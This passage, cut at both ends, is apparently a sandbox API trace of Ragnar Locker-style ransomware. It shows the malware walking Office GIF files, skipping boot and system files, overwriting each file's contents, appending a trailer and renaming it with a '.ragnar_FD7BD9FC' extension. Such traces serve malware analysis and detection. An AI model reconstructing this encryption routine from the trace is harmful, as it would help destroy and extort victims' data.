hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=259) returned 1 [0099.007] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.007] GetProcessHeap () returned 0x580000 [0099.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.007] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.008] VirtualAlloc (lpAddress=0x0, dwSize=0x103, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.008] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.008] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.008] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x103, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x103, lpOverlapped=0x0) returned 1 [0099.008] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.008] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x103, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.008] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x103, lpOverlapped=0x0) returned 1 [0099.008] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x103, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.008] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.008] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x103, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.008] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.009] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.009] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.009] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.009] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.009] GetProcessHeap () returned 0x580000 [0099.009] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.009] CloseHandle (hObject=0x10c) returned 1 [0099.009] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF" [0099.009] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF.ragnar_FD7BD9FC" [0099.009] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14794_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14794_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.010] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14795_.GIF", cAlternateFileName="")) returned 1 [0099.010] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.010] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14795_.GIF" | out: lpString1="BD14795_.GIF") returned="BD14795_.GIF" [0099.010] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF") returned=".GIF" [0099.010] lstrcmpiW (lpString1="BD14795_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.010] lstrcmpiW (lpString1="BD14795_.GIF", lpString2="autorun.inf") returned 1 [0099.010] lstrcmpiW (lpString1="BD14795_.GIF", lpString2="boot.ini") returned -1 [0099.010] lstrcmpiW (lpString1="BD14795_.GIF", lpString2="bootfont.bin") returned -1 [0099.010] lstrcmpiW (lpString1="BD14795_.GIF", lpString2="bootsect.bak") returned -1 [0099.010] lstrcmpiW (lpString1="BD14795_.GIF", lpString2="bootmgr") returned -1 [0099.010] lstrcmpiW (lpString1="BD14795_.GIF", lpString2="bootmgr.efi") returned -1 [0099.010] lstrcmpiW (lpString1="BD14795_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.010] lstrcmpiW (lpString1="BD14795_.GIF", lpString2="desktop.ini") returned -1 [0099.010] lstrcmpiW (lpString1="BD14795_.GIF", lpString2="iconcache.db") returned -1 [0099.010] lstrcmpiW (lpString1="BD14795_.GIF", lpString2="ntldr") returned -1 [0099.010] lstrcmpiW (lpString1="BD14795_.GIF", lpString2="ntuser.dat") returned -1 [0099.010] lstrcmpiW (lpString1="BD14795_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.010] lstrcmpiW (lpString1="BD14795_.GIF", lpString2="ntuser.ini") returned -1 [0099.010] lstrcmpiW (lpString1="BD14795_.GIF", lpString2="thumbs.db") returned -1 [0099.010] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.010] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.010] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.010] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.010] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.010] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.010] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14795_.gif")) returned 0x20 [0099.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14795_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.011] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=219) returned 1 [0099.011] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.011] GetProcessHeap () returned 0x580000 [0099.011] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.011] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.012] VirtualAlloc (lpAddress=0x0, dwSize=0xdb, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.012] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.012] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.012] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xdb, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xdb, lpOverlapped=0x0) returned 1 [0099.012] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.012] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdb, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.012] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xdb, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xdb, lpOverlapped=0x0) returned 1 [0099.013] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.013] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.013] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xdb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.013] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.013] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.013] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.013] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.013] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.013] GetProcessHeap () returned 0x580000 [0099.013] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.013] CloseHandle (hObject=0x10c) returned 1 [0099.013] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF" [0099.013] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF.ragnar_FD7BD9FC" [0099.013] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14795_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14795_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.014] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948b900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948b900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14828_.GIF", cAlternateFileName="")) returned 1 [0099.014] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.014] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14828_.GIF" | out: lpString1="BD14828_.GIF") returned="BD14828_.GIF" [0099.014] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF") returned=".GIF" [0099.014] lstrcmpiW (lpString1="BD14828_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.014] lstrcmpiW (lpString1="BD14828_.GIF", lpString2="autorun.inf") returned 1 [0099.014] lstrcmpiW (lpString1="BD14828_.GIF", lpString2="boot.ini") returned -1 [0099.014] lstrcmpiW (lpString1="BD14828_.GIF", lpString2="bootfont.bin") returned -1 [0099.014] lstrcmpiW (lpString1="BD14828_.GIF", lpString2="bootsect.bak") returned -1 [0099.014] lstrcmpiW (lpString1="BD14828_.GIF", lpString2="bootmgr") returned -1 [0099.014] lstrcmpiW (lpString1="BD14828_.GIF", lpString2="bootmgr.efi") returned -1 [0099.014] lstrcmpiW (lpString1="BD14828_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.014] lstrcmpiW (lpString1="BD14828_.GIF", lpString2="desktop.ini") returned -1 [0099.014] lstrcmpiW (lpString1="BD14828_.GIF", lpString2="iconcache.db") returned -1 [0099.014] lstrcmpiW (lpString1="BD14828_.GIF", lpString2="ntldr") returned -1 [0099.015] lstrcmpiW (lpString1="BD14828_.GIF", lpString2="ntuser.dat") returned -1 [0099.015] lstrcmpiW (lpString1="BD14828_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.015] lstrcmpiW (lpString1="BD14828_.GIF", lpString2="ntuser.ini") returned -1 [0099.015] lstrcmpiW (lpString1="BD14828_.GIF", lpString2="thumbs.db") returned -1 [0099.015] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.015] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.015] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.015] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.015] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.015] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.015] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14828_.gif")) returned 0x20 [0099.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14828_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.016] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=192) returned 1 [0099.016] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.016] GetProcessHeap () returned 0x580000 [0099.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.016] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.017] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.017] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.017] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.017] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xc0, lpOverlapped=0x0) returned 1 [0099.017] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.017] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc0, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.019] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xc0, lpOverlapped=0x0) returned 1 [0099.019] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.019] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.019] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.019] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.019] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.019] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.019] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.019] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.020] GetProcessHeap () returned 0x580000 [0099.020] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.020] CloseHandle (hObject=0x10c) returned 1 [0099.026] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF" [0099.026] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF.ragnar_FD7BD9FC" [0099.026] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14828_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14828_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.027] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948b900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948b900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14829_.GIF", cAlternateFileName="")) returned 1 [0099.027] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.027] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14829_.GIF" | out: lpString1="BD14829_.GIF") returned="BD14829_.GIF" [0099.028] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF") returned=".GIF" [0099.028] lstrcmpiW (lpString1="BD14829_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.028] lstrcmpiW (lpString1="BD14829_.GIF", lpString2="autorun.inf") returned 1 [0099.028] lstrcmpiW (lpString1="BD14829_.GIF", lpString2="boot.ini") returned -1 [0099.028] lstrcmpiW (lpString1="BD14829_.GIF", lpString2="bootfont.bin") returned -1 [0099.028] lstrcmpiW (lpString1="BD14829_.GIF", lpString2="bootsect.bak") returned -1 [0099.028] lstrcmpiW (lpString1="BD14829_.GIF", lpString2="bootmgr") returned -1 [0099.028] lstrcmpiW (lpString1="BD14829_.GIF", lpString2="bootmgr.efi") returned -1 [0099.028] lstrcmpiW (lpString1="BD14829_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.028] lstrcmpiW (lpString1="BD14829_.GIF", lpString2="desktop.ini") returned -1 [0099.028] lstrcmpiW (lpString1="BD14829_.GIF", lpString2="iconcache.db") returned -1 [0099.033] lstrcmpiW (lpString1="BD14829_.GIF", lpString2="ntldr") returned -1 [0099.033] lstrcmpiW (lpString1="BD14829_.GIF", lpString2="ntuser.dat") returned -1 [0099.033] lstrcmpiW (lpString1="BD14829_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.033] lstrcmpiW (lpString1="BD14829_.GIF", lpString2="ntuser.ini") returned -1 [0099.033] lstrcmpiW (lpString1="BD14829_.GIF", lpString2="thumbs.db") returned -1 [0099.033] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.033] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.033] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.033] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.033] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.033] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.033] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14829_.gif")) returned 0x20 [0099.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14829_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.034] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=191) returned 1 [0099.034] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.034] GetProcessHeap () returned 0x580000 [0099.034] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.034] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, 